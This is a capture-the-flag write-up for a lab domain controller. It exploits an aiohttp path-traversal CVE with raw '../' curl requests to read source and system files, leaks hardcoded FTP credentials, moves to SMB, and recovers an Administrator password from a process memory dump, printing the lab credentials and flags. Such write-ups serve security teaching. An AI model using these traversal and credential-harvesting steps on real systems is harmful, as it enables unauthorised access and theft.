$ cat writeup.md…
$ cat writeup.md…
hackerlab
Task: Windows AD DC (codeby.cdb / GAMBIT) exposing an aiohttp 3.8.0 web app on a non-default vhost. Solution: exploit CVE-2024-23334 path traversal (follow_symlinks) via curl --path-as-is to read source and leak FTP creds, pivot to SMB as a domain user for the user flag, then extract the Administrator password from a procdump memory dump (base64 $enc_pass) to read the root flag.
Шахматы. В цейтнот попадает не тот, кто много думает, а тот, кто думает не о том.
English: "Chess. Time trouble (цейтнот) befalls not the one who thinks a lot, but the one who thinks about the wrong thing."
This is deliberate misdirection. "Цейтнот" (time trouble) lures solvers toward Kerberos / time-based attacks (AS-REP roast, Kerberoast, user enumeration) against the domain controller. The real foothold is a web CVE — "think about the right thing."
Target: 192.169.2.16, Windows Domain Controller, domain codeby.cdb, host GAMBIT. Flag format CODEBY{...}. The flag is split across the user flag and the root flag.
Full TCP scan shows a classic AD surface plus one odd port:
53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 9389 — Active Directory / DC services5985 — WinRM31337 — a web service21 and 80 — connection refusedThe web service on 31337 is a virtual host: it only answers when the HTTP Host header is gambit. With a default host the connection hangs/times out.
curl -s -H "Host: gambit" http://192.169.2.16:31337/ # -> "Welcome to Gambit server!" # Response headers include: # Server: Python/3.10 aiohttp/3.8.0 # Channel: @wh_lab
aiohttp/3.8.0 is the key signal: it is vulnerable to CVE-2024-23334 — directory traversal in static routes configured with follow_symlinks=True (fixed in 3.9.2).
aiohttp serves a static route. If that route is registered with follow_symlinks=True, the path normalization that should confine requests to the static directory is bypassed, allowing ../ traversal.
Exploitation details that mattered:
curl --path-as-is so curl does NOT normalize ../ client-side.%2f, %2e%2e) is filtered → 403. Raw ../ works.GET /static/<../...>/<file> — do not prepend an extra ../ before the /static/ segment (that caused connection resets / 000).Confirm the vulnerability by reading the app's own source:
curl -s --path-as-is -H "Host: gambit" \ "http://192.169.2.16:31337/static/../main.py"
Recovered main.py shows the vulnerable config:
app.router.add_routes([ web.static("/static/", "static/", follow_symlinks=True), ])
Validate multi-level traversal:
curl -s --path-as-is -H "Host: gambit" \ "http://192.169.2.16:31337/static/../../../../../../Windows/win.ini" # 200 OK
Directory layout discovered: <parent>/<appdir>/static/ and a sibling <parent>/backup/ftp-adm.py.
Read the FTP admin script via traversal:
curl -s --path-as-is -H "Host: gambit" \ "http://192.169.2.16:31337/static/../../backup/ftp-adm.py"
It is a pyftpdlib FTP server (port 11000) with a hardcoded user:
authorizer.add_user('egor.prudnikov', 'G@mbit_ps', '.', perm='elr')
Credentials: egor.prudnikov : G@mbit_ps. These are also valid as a domain user on codeby.cdb over SMB.
smbclient -L //192.169.2.16/ -U 'codeby.cdb\egor.prudnikov%G@mbit_ps' -m SMB3 # Shares: backup, Users, C$ (C$/backup denied as egor)
In \\Users\egor.prudnikov\Desktop:
user.txt (15 bytes) = CODEBY{a1o_CVE?basic-auth.dmp (~238 MB) and two more dated dumps — procdump64 memory dumps of a basic-auth.exe processprocdump64.exeScripts\basic-auth.ps1WinRM as egor FAILS (egor is not in Remote Management Users → HTTP 500 AccessDenied), so privilege escalation must come from the dump rather than a shell.
basic-auth.ps1 (author tag "Exited3n", t.me/pt_soft) builds an HTTP Basic Auth header for user Administrator, has $enc_pass = '[REDACTED]' on disk, and ends with Read-Host -Prompt "Welcome back!" — keeping the process alive so its variables remain in memory. The .dmp files are memory dumps of that running process.
Download the dump over SMB (slow ~276 KB/s, flaky NT_STATUS_IO_TIMEOUT → use a retry loop; the secret is recoverable even from a partial download, ~226/238 MB).
The on-disk script redacts the password, but the in-memory copy holds the real value:
strings -n 10 basic-auth.dmp | grep '\$enc_pass' # $enc_pass = 'R0BtYml0X29uZQ'
Decode (base64):
echo 'R0BtYml0X29uZQ==' | base64 -d # G@mbit_one
Administrator password = G@mbit_one.
smbclient //192.169.2.16/C$ -U 'codeby.cdb\Administrator%G@mbit_one' -m SMB3 # get \Users\Administrator\Desktop\ro0t-flag.txt
ro0t-flag.txt (6 bytes) = _Tru3}. The Administrator Desktop also contained the deployed app (aio\main.py + static\) and backup\ftp-adm.py, confirming the full chain.
The flag is split between the two flags:
user.txt = CODEBY{a1o_CVE?
root.txt = _Tru3}
combined = CODEBY{a1o_CVE?_Tru3}
A play on "aiohttp CVE? True".
Host: gambit header. With a default host it appears dead (hang/timeout) — easy to miss during recon.curl --path-as-is for aiohttp traversal. URL-encoding the traversal is filtered (403); raw ../ works. Don't add a leading ../ before /static/.$enc_pass).$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar